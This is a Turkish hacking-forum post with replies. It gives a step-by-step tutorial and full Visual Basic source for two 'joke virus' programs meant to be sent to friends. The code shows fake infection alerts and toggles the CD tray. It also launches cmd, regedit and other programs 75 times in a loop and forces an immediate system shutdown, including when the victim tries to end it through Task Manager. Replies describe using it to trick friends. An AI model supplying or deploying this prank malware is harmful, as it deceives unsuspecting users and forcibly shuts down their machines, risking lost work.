VB Şaka Virüsü Ve Bir Çok Program Yapma||Videolu

[CroniQZehiR]

ROHAN2 WORLD 1-120 TR TİPİ OFFICIAL YOHARA, BALATHOR VE AMON! 80. GÜNÜNDE! +10.000 ONLİNE! HİLE VE BOT %100 ENGELLİ HEMEN TIKLA!

Selam Arkadaşlar Şimdi Sizlere Visual Basic Şaka Virüsü Yapmayı Göstercem.Hemde Videolu.
​

Anlatım;
İlk Önce Visual Basicmizi Açıyoruz.Sonra Çalışmamıza 1 adet label 1 adet textbox
1 adet resim ve Çalışmamıza Sağ Click Yapın ViewCodeye Tıklayın Ve Kodları İçine Atın.
1.Kod Hafif Virus

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Boolean
Private Const EWX_SHUTDOWN = 1
Private Const EWX_FORCE = 4
Private Const EWX_REBOOT = 2
Private Const EWX_LOGOFF = 0
Private Sub form_load()
MsgBox "Nıhahahahahahah Bilgisayarına virüs bulaşıyor programı açık tutarsan sistemin linç olur"
End Sub
Private Sub form_Terminate()
kapat = ExitWindowsEx(EWX_SHUTDOWN, 1)
If kapat = True Then
Else
MsgBox ("Turkmmo.com CroniQZehiR")
End If

End Sub

2.Kod Ağır Virus

Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Private Sub Form_Load()

On Error Resume Next
MsgBox "Şuan Sisteme Zararlı Bir Virüs Aldınız No:15454.STEGHPTE", vbOKOnly, "Bilgi..."
Move (Screen.Width - Width) / 2, (Screen.Height - Height) / 2
Label1.Width = 0
Timer1.Enabled = True
Timer1.Interval = 10
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Label1.Width = Label1.Width + 10
If Label1.Width >= Picture1.Width Then
Timer1.Enabled = False
MsgBox "Virüs Yükleme Başarılı...", vbOKOnly, "Bilgi..."
mciExecute ("Set CDAudio door Open")
MsgBox "Virüs: Cd Romunuz Kontrol Ediliyor...", 64, "Bilgi..."
mciExecute ("Set CDAudio door closed")
MsgBox "Virüs: Çalışıyor Galiba Emin değilim...", 48, "Uyari !!!"
mciExecute ("Set CDAudio door Open")
mciExecute ("Set CDAudio door closed")
MsgBox "Virüs: Neyse Bu kadar şaklabanlık yeter :D...", 16, "Hehehehe"
MsgBox "Virüs: Sen boş işlerle ugraşmayı seviyormuşsun...", 48, "Uyari..."
MsgBox "Virüs: Kapat Bakalım Şunları :D:D:D", 16, "Zuhahahaha...."
Dim a
For a = 1 To 75
Shell "mspaint"
Shell "control panel"
Shell "cmd"
Shell "regedit"
Shell "calc"
Next
MsgBox "Virüs: Yoruldum Bu kadar Yeter... Hadi Bye Bye...", 48, "Bye Bye"
MsgBox "TurkFawori Msn Şaka Virüsü Korkmayınız Lütfen...", vbCritical, "Uyari !!!"
MsgBox "Korktuysan Kusura Kalma Kal Sağlıcakla...", vbCritical, "Uyari !!!"
Shell ("shutdown -s -t 1")
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next
Select Case UnloadMode
Case vbAppTaskManager
MsgBox "Turkmmo.com CroniQZehiR", 16, "Hata !!"
Shell ("shutdown -s -t 1")
End Select
End Sub

Linkleri görebilmek için Turkmmo Forumuna ÜYE olmanız gerekmektedir.

Kodları TxT Şeklinde İstiyorsanız İndirebilirsiniz.

Linkleri görebilmek için Turkmmo Forumuna ÜYE olmanız gerekmektedir.

Bir Teşekkür Yeter.
Not:Sabitlenirse Sevnirim.​

 

[CroniQZehiR]

Yorum Yokmu

 

[JosephRainy]

Eyw işime yarıycak

 

[CroniQZehiR]

Saol Yorum İçin Arkadaşlarını Kandırsın

 

[Depents]

ARkadaşı Kandırdım